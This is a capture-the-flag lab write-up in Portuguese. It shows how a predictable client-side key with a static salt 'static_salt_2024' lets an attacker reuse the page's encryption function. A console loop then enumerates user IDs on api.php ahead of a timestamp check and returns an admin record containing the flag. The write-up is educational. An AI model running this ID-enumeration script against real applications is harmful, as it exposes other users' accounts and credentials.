Lab 6 - Bypassing Client-Side Encryption via Predictable Key Generation
Ao acessar a aplicação, nos deparamos com uma interface limpa de gerenciamento de usuários. A tabela exibe claramente dois tipos de usuários:
- ID 0: Usuário Anônimo com permissões básicas de leitura
- ID ?: Administrador com acesso completo
A pergunta que surge é óbvia: como descobrir o ID do administrador e acessar suas credenciais?
Clicando no botão “Carregar Meu Perfil”, observamos na aba Network do DevTools:
- Uma requisição POST para
api.php - Dados trafegam criptografados em formato específico:
{
"data": "U2FsdGVkX1...",
"iv": "kR1ZrFAc8a...",
"timestamp": 1730486405000
}
- A resposta retorna informações do usuário ID 0 (anônimo)
Inspecionando o código fonte, descobrimos a função getUserProfile() que é chamada pelo botão. Analisando seu conteúdo:
const payload = {id: 0, action: "get_profile"};
const encrypted = security.encryptPayload(payload);
Insight importante: Todo o processo de criptografia acontece no client-side usando a classe SecuritySystem. A chave é gerada através de:
const timeBlock = Math.floor(Date.now() / 2000);
const baseSeed = CryptoJS.MD5(timeBlock + "static_salt_2024").toString();
Problema crítico identificado: Uso de salt estático "static_salt_2024" que permite prever a geração de chaves.
Tentamos modificar o ID via DevTools colocando um breakpoint:
// Alterando para ID 1 durante o debug
const payload = {id: 1, action: "get_profile"};
Resultado frustrante: O servidor retorna erro:
{"error": "Requisição expirada. Timestamp diferencia 5 segundos."}
O processo manual de debug introduz delay suficiente para invalidar o timestamp. Isso nos dá uma pista valiosa: o backend valida o tempo rigorosamente.
Reflexão chave: Podemos reutilizar todas as funções JavaScript já declaradas na página, incluindo a classe SecuritySystem e suas métodos de criptografia.
Criamos um script no console que copia exatamente o mesmo bloco de código da função getUserProfile(), apenas colocando um laço for ao redor:
for (let i = 100; i >= 0; i--) {
// CÓDIGO ORIGINAL DA PÁGINA - COPIADO DIRETAMENTE
const payload = {id: i, action: "get_profile"};
const encrypted = security.encryptPayload(payload);
fetch('api.php', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify(encrypted)
}).then(r => r.text()).then(response => {
if (!response.includes('Usuario nao encontrado')) {
console.log(`ID ${i}: ${response}`);
}
});
// FIM DO CÓDIGO ORIGINAL
}
Por que isso funciona perfeitamente:
- Todas as funções (
security.encryptPayload,fetch) já estão disponíveis - A automação garante que cada requisição seja enviada instantaneamente
- Eliminamos o problema do timestamp expirado
O script executa rapidamente 101 requisições. Filtrando pelas respostas na aba Network, identificamos:
- IDs 1-76, 78-100:
{"error":"Usuario nao encontrado"}(34 bytes) - ID 77: Resposta com 123 bytes contendo:
{
"user_id": 77,
"email": "admin@sistema.com",
"password": "FLAG{zeroc00i_Timestamp_Bypass_Success}",
"user_type": "administrador"
}